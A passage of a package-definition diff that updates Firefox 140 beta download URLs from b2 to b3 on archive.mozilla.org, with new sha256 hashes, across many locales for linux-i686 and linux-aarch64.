+      sha256 = "bc0aea632a700251fbd0359f8fef1b152a86fcad15707b4fb4bcb055c7755c50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/zh-CN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/zh-CN/firefox-140.0b3.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "afb4e3d700f9c67efe6ca59e1baf98dcbe014f9abcae6aa3326a94f47540556c";
+      sha256 = "4f31a97f9a0eb5677de689c839e61989d40856244d5239707378e5e01fcf0ea6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/zh-TW/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/zh-TW/firefox-140.0b3.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "1eb8189e613d855bdb4da3d929fa59ae00c87c7ce4caf26e242b77dfe4ef9e46";
+      sha256 = "cd397ce84153a60c04457fef2edd31b648eb71476598aca12ff59ddd4f09fe7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ach/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ach/firefox-140.0b3.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "7cd042bf81247ca4bf869772140a28da2cac0f38336c1b21774753ef0935c252";
+      sha256 = "ca1d393c3f6d8f0b483256bb4dcbbfd87c3e73320acd272125db6a252d225690";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/af/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/af/firefox-140.0b3.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "0b46b672ec0ba920946e8a19b66c4c15618457fa0d70f80283e9339efe919b88";
+      sha256 = "904ce80c145a1d3230081bd7883d2c5e57ed02660b2404bfce3943df0561104f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/an/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/an/firefox-140.0b3.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "cc4e3757e933755b79c35946f87b88a4dd0e9fd68ad8391e2f0a1ec758707c35";
+      sha256 = "a994667975cc8c14d5b768d238a151506e9c9a2bdf6dafa73feba9e43aeab57c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ar/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ar/firefox-140.0b3.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "7ca7a1330d97c5c2d242dcb9b0681768cceabbe931796d78d1db4e434c555cc9";
+      sha256 = "2a9798d1ef0a04664ab9c2683f7fd509c4da5d8129d769c781077c6d45dcc37e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ast/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ast/firefox-140.0b3.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "67976e71bcd80adbfd9e5910708ebba978a1ec02db046b209bee54c0e9fe4e7d";
+      sha256 = "e862943c675f5853709fdf1ca14d2ac28cf732d90d782bd9bada809556f1b654";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/az/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/az/firefox-140.0b3.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "f99cdbb0b61406a82b6d31e87a5ad60cc11b654ba20199eef7e6ff6a0211e0b2";
+      sha256 = "c3e0a2cc6ae0646a5c7497e96b7b47947354f984ba733672fa38a7c14eed8856";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/be/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/be/firefox-140.0b3.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "baa9da20ff4f0cd15f67ca190982a26ab45635a83d6fb2a60a0c537cdf3f0d9e";
+      sha256 = "bd197bc761ba7d16d74ec1eb11f6eb0ea6122919ffba3a775690e3db029e471e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/bg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/bg/firefox-140.0b3.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "493851b1cdeba502582e3f311858296883637763c6b3875c4e2c8fe1832726d0";
+      sha256 = "6dacd9985823ce3ae329eac3fc97530fa405737cac7115a3b56ec6a0db04cfb7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/bn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/bn/firefox-140.0b3.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "7ecad658638c5b4357e06043c33ede20870f50055f3840fa76e0829341e8ed2e";
+      sha256 = "22e0bf169370241de826f2f882c987f01e5cee823dc303d0122e04a210d2b781";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/br/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/br/firefox-140.0b3.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "90cb3c30c226a64ee8e04c89ba4511741b788a08c29305e4bd37f15c568c0790";
+      sha256 = "d3e532791588565ca5aa5dd892cb72298c34efd9a9d07e3b2e89c5df23d41fe6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/bs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/bs/firefox-140.0b3.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "359bce9cb8555fcfd5e3782755345c74a023fd5196629993b9c7ddb4c159d29c";
+      sha256 = "9358ea0b92e59d528873a99bc452bd30c88a2943d23edcd71d47c3dd5521313e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ca-valencia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ca-valencia/firefox-140.0b3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "d0c0a903e7f49cdd4e7abbc010362ef7f9f94f0ddaede5c073b7d5ed492c8b4b";
+      sha256 = "133b4c9ec4c86a88203c251a5c54e312024d5def03e60e75c80ddbf7868fffaa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ca/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ca/firefox-140.0b3.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "065d8a4d120a5f6bcdc2aaf598e96950b87439b3f091c6ab45ba42c42d9dc493";
+      sha256 = "b4a6e4975dd731eff8f7a70f1b9fbfc33dcc53f76efa3061232df7b0270f803a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/cak/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/cak/firefox-140.0b3.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "f1e95e51e3c73a2c28632e3f23d53d3aaf1211d9db640b8c110eaed94a97ff8b";
+      sha256 = "9c647560a9a1f5012002cdf619f50e10c8f16b8e03e37d34a2aa312f714f9ae2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/cs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/cs/firefox-140.0b3.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "1cabba2333c315ec8a8ffa64609ffdaf3664428b6f109dfbb3f9bcefe6a08326";
+      sha256 = "5b81394b51d29a85677439bf4f91794b1daf5b878e920d1c0e6913fdb8c3fd73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/cy/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/cy/firefox-140.0b3.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "aeaea449bd1427315022606358eda4907a611248ee48cf94b8936c68067f93cd";
+      sha256 = "f0e9b6ab15dfeba4e41ac3e540c02917d8b30213fe2a5fa234a43a9bf9580d33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/da/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/da/firefox-140.0b3.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "baccce03f5a023e9c4db5c786416108d1e9a3b34f8e224c11b0c50089b5044b1";
+      sha256 = "fcad12e84319527cfc25f53192cdfadf51703ae1ab721f05c5f70817586f0626";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/de/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/de/firefox-140.0b3.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "cc7f6ce82a0c27854cc0b2c1aded7f589c29e73741746fa3a9dcad685ddd8b62";
+      sha256 = "805b6c414e6a56ff4fcb3d2fff4cb2ff62105e1f3c5476ea61981916111652bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/dsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/dsb/firefox-140.0b3.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "0a3aba29ef00869e8a543e5196188c42ca87331df9b283d61238ba1a8a724f3a";
+      sha256 = "d9a0dc6db5f1a21ef94101b6ddf1e1c644d88f639b9cf1f4baf3d82759914b61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/el/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/el/firefox-140.0b3.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "d87b9a60fa65911acfe8535ccb1c8d4e6cbfad290d9979692cc7899ce0ac6b38";
+      sha256 = "109873f011ac29c4bdc78f27e8a13541aa1b11175b29401197ed3d3512dec72f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/en-CA/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/en-CA/firefox-140.0b3.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "026ad7b1f2b3b746c85a31860910ae1487e0871d406b63ffbdb87e374c517bb4";
+      sha256 = "ab9ed750e684fd405ac3a797e4fb60ead2c64c39aa53d6742e0259930d371adb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/en-GB/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/en-GB/firefox-140.0b3.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "f26d62c55973c679153ad8b2378c00a28b068748db76c38c61c9aee03aa7bf96";
+      sha256 = "c7c9bc00cb6cfe8dc9c4875b049a13d0655c00a3ff171c5647f5bedef107e7ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/en-US/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/en-US/firefox-140.0b3.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "fb8905d9af83f43bb09b453a0fbd85e23adc70eefa07efcf015395a534140450";
+      sha256 = "39261cfe396d7359aebaf6b5f3becd3bdb5c43b292869f544a88e801443c9efb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/eo/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/eo/firefox-140.0b3.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "347cbb9195e8012d39d18cfd8ada8302a5f5746674bcff21c68926d93edcbc35";
+      sha256 = "75179c336ad589676d93d8dd6daa084c82573a621e69e3e8cbd09679c5f00755";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/es-AR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/es-AR/firefox-140.0b3.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "c3e04df1298513e487072a6bb5eda83e3921f3217408cb0f86f33c6a52bcc7e7";
+      sha256 = "88ca0c23ae377fbea842073192f89fcbe2319ff4944ade3311c722370c166aa1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/es-CL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/es-CL/firefox-140.0b3.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "040bc8601a976587a173a5d82b4b3ed7474dc6d274e1be504fd516eacb951174";
+      sha256 = "32b6911754837cb979fec837168963f25590d19adc87ca84c3ee0634bc1797a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/es-ES/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/es-ES/firefox-140.0b3.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "ed4197fe2d0279979e879eda7f51a5f3bc19b161ba0e6a031f6cea2cb22b5229";
+      sha256 = "ae81dada372a60bdfa0f6c48a988c42f23165e1d1c8cee3c7958c95b64c87d2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/es-MX/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/es-MX/firefox-140.0b3.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "290ae698fca93612144db3d7821b38a9a7708ba1bd9aacda09f9efee8e5a2fcd";
+      sha256 = "c8171810252614f5cbc162b5f4dfe3afd897a8d9beec4978126909bad3f76bea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/et/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/et/firefox-140.0b3.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "7b174a91b10efbd8d5628ea29d95a4dc7dbc986ae64dc5c7709df3f7a9aeb113";
+      sha256 = "76fd0607c61228898b9568987523b4a8e1f5a3b15a4b2859296c0e23c4e59585";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/eu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/eu/firefox-140.0b3.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "36ee14d1be91e8aa663439cd08f71ec6bde8e4b13f5aaf4a17f95df4080b4e00";
+      sha256 = "16205f39cffe37ce480d45e17d266c4bbc3ab1844ce2ea2e04485ddfcb647120";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fa/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fa/firefox-140.0b3.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "1b538780607b5fcc3a153c4198a0ea086b245c4c6f246561179d5aec98e6032d";
+      sha256 = "36b1c98577255d88e2f7b01c88cdb1414b2016fa520aae459b66aa47b10f8996";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ff/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ff/firefox-140.0b3.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "64362226245b8694ef956f4bd3d285c45aa5f7a31830c043fe23b96071e09280";
+      sha256 = "2988f2897ef2c643cdfcd79dce0c126c24fccf6e9810aa58776d91a1baf1b453";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fi/firefox-140.0b3.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "1f810aa9a14a0f47c48d2a485397d8164c71f9a833cea682949d582ac30c4091";
+      sha256 = "c8dd76d403209b965f430d3251df3fe9800535074f3ed1c8d1ec3c49a0ef92ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fr/firefox-140.0b3.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "2861e18226f50259f0ec8426e419c93b268c2e9113c0cae1a3d4923dd906c139";
+      sha256 = "7d43f4e963244761ce06e827776dc3037060457f15d806d248e406222b732d03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fur/firefox-140.0b3.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "42e8d9e6582267a374246cd83cb51a71dfb24b5c54d5b8230dcab93d47e89ecc";
+      sha256 = "75fa230906c272d17bccc003d3bd605a16ac21825812a964c78ca6e839365447";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/fy-NL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fy-NL/firefox-140.0b3.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "5ed467f0a335d41d82007f39b078c60e244faa7f7614e3386991f7e687fc10dd";
+      sha256 = "7b40e7c98e5bca1e7a503303d6d47160243bfc81991301c401da056f506469cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ga-IE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ga-IE/firefox-140.0b3.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "edb53eec33ed84ead0b00d90930c9e0d93cf7f95835f003884190a6379d61664";
+      sha256 = "c2fea5545eb58658a6c3e8ef751b1c18372edb052bb66694b13f09fa0044fe1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/gd/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/gd/firefox-140.0b3.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "dabd8721dbe812bfe349d89011317bffeb2eb8578dfd580e97fb962c6b234ccf";
+      sha256 = "d8894d4118e625b7ed8125621e58b561657f03915a7e4acc464c06e2c948f043";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/gl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/gl/firefox-140.0b3.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "4c2cedbd7c26cbdc2869a5186ae3e766c27f059a5be4b745f91cb3b7d334c1de";
+      sha256 = "59cee79cd1d2b593b3ab607d7e56314188f2f9d21aa2eafc4e3da19b27e7cd5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/gn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/gn/firefox-140.0b3.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "557eb831214ae85f8954b609fc6c381c7334a6c8fe98c98f0b5ab5d6e3afd9d4";
+      sha256 = "9570e9cd008c221d4587ee0ab740a98b74da2e74f2ade874eb96051c7319f60e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/gu-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/gu-IN/firefox-140.0b3.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "937e4455d075a52b5dc546840a7be025ab14266d36c287dbbfa415f9db5edb38";
+      sha256 = "b0ff6954af3e48e2fe996e38bfe72f060f17a7596640b5653893bdee6ee05f24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/he/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/he/firefox-140.0b3.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "2a660ac10700d2d0c8e223a7e7ccc641923e53001a9ed8f523126766919e3694";
+      sha256 = "61db85d5f194b2d6b797765180135949e683142e24a7c2f10872132a3acafeba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hi-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hi-IN/firefox-140.0b3.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "d2714b679ca967305693eb28655127e381ad7a4adf7e8dfc09c4ebb92385ac61";
+      sha256 = "e5c4e8fb08e6a36ee6c72dc0c4aadb5312e04f91cacf3679c89b7963c8d05541";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hr/firefox-140.0b3.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "8c42af036a26589817096562c089d62c035726be61137b04de137e72fbe0f784";
+      sha256 = "85fb4cf83ac75fd1a0e7f44b73f64e4bfa61899df78f0318370f6d232fafa063";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hsb/firefox-140.0b3.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "8233a55b9d57fa591fb5b6ced9163c9e1ad3ac0efc16106f7900e0938b9bc505";
+      sha256 = "05be655775adb1b4e113e047cc9188e7eefc78a4558f87a8176193697138c687";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hu/firefox-140.0b3.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "e36fcfe99e3885cf8eaff441d917f8b714314688484ed31bc82061eba6cb78a5";
+      sha256 = "566fb0b2e78f693ffdfb6b5990bebf7e84fcca396026b11678b8c613673364b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/hy-AM/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hy-AM/firefox-140.0b3.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "caa0557f2ba798d0d0d0b2e1d2b084079baf1203bade06c580062983fa53fde4";
+      sha256 = "6e51cf2be81bd264143fe6d05f5dd0806456a111cb989b130fde546d2e561fcb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ia/firefox-140.0b3.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "66c4626de30fca547e690fbae7ef8d665f138548ed29b973630c1e5fea8cba1a";
+      sha256 = "74af672f73f85d2e7bffbfa346153358fc8418d0eb5a732d86aaf1be0b3627f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/id/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/id/firefox-140.0b3.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "afeb6eb9c996a7f6bfe93c2e0606f29af90b9d46d9a35633ffd6218b76dd367b";
+      sha256 = "1b37065b20cdcc2e7d7793f77fa71fd846779c4ebcd68f489461489b165ba1b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/is/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/is/firefox-140.0b3.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "ddf3e0190f6ded182ed3d9cc80cb3456d2251f5a3a5af42a4eee4d6144cb04d5";
+      sha256 = "782622a22fb4cac4e967c3d7c934c1fa0fc7e9734e8d4fe6738abeedad7b4188";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/it/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/it/firefox-140.0b3.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "cd16a0d3b70e4e746f2d5a19ce448b4c8f3761e1b4879c6fb50902e5779f73b7";
+      sha256 = "a1c05f3d29b77c3274b65f20bfe0a0a7662133382a2080394cfdba0366cdef01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ja/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ja/firefox-140.0b3.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "2761071a3916fdaf81608d12fc7356450c4abc27fe2315d7ae1768b048751a85";
+      sha256 = "a010cfc3fba7877b33666db790d020c13014b98bc6567d9f3c5274d9705681b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ka/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ka/firefox-140.0b3.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "2fa470435b4e3ecd4389639b135f840f2869ba1f997e495d5b7ca3b3b472a14e";
+      sha256 = "1c1beaa5d438a6214dc75ccf5100982ae415d814d5589f6d19c75f3edc8a2fd3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/kab/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/kab/firefox-140.0b3.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "23a15e2d7667bb0cad5069a555ce7eb5ebd647d01dcd5b5008df5dd3a25c41f4";
+      sha256 = "5db404895a198a93cadabd73b3e8b7b9707c9b631169a69268799aba8a2e50b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/kk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/kk/firefox-140.0b3.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "c9ab7d7695204eab0aaf2d395484df8331dcdd5a2d3cf7bcc2ea544e5877443f";
+      sha256 = "115ea1a7775f678f6c60342149993c98f107cab03e10b47ceee913a45f66f311";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/km/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/km/firefox-140.0b3.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "6740c9921ea366cae10b37b3c5de4076f1f1710b4169030c68be12b5070c633b";
+      sha256 = "de7a2faadd3072d434f8c5bd1fe62e23616c4097d5286801669ab6db27143332";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/kn/firefox-140.0b2.tar.xz";
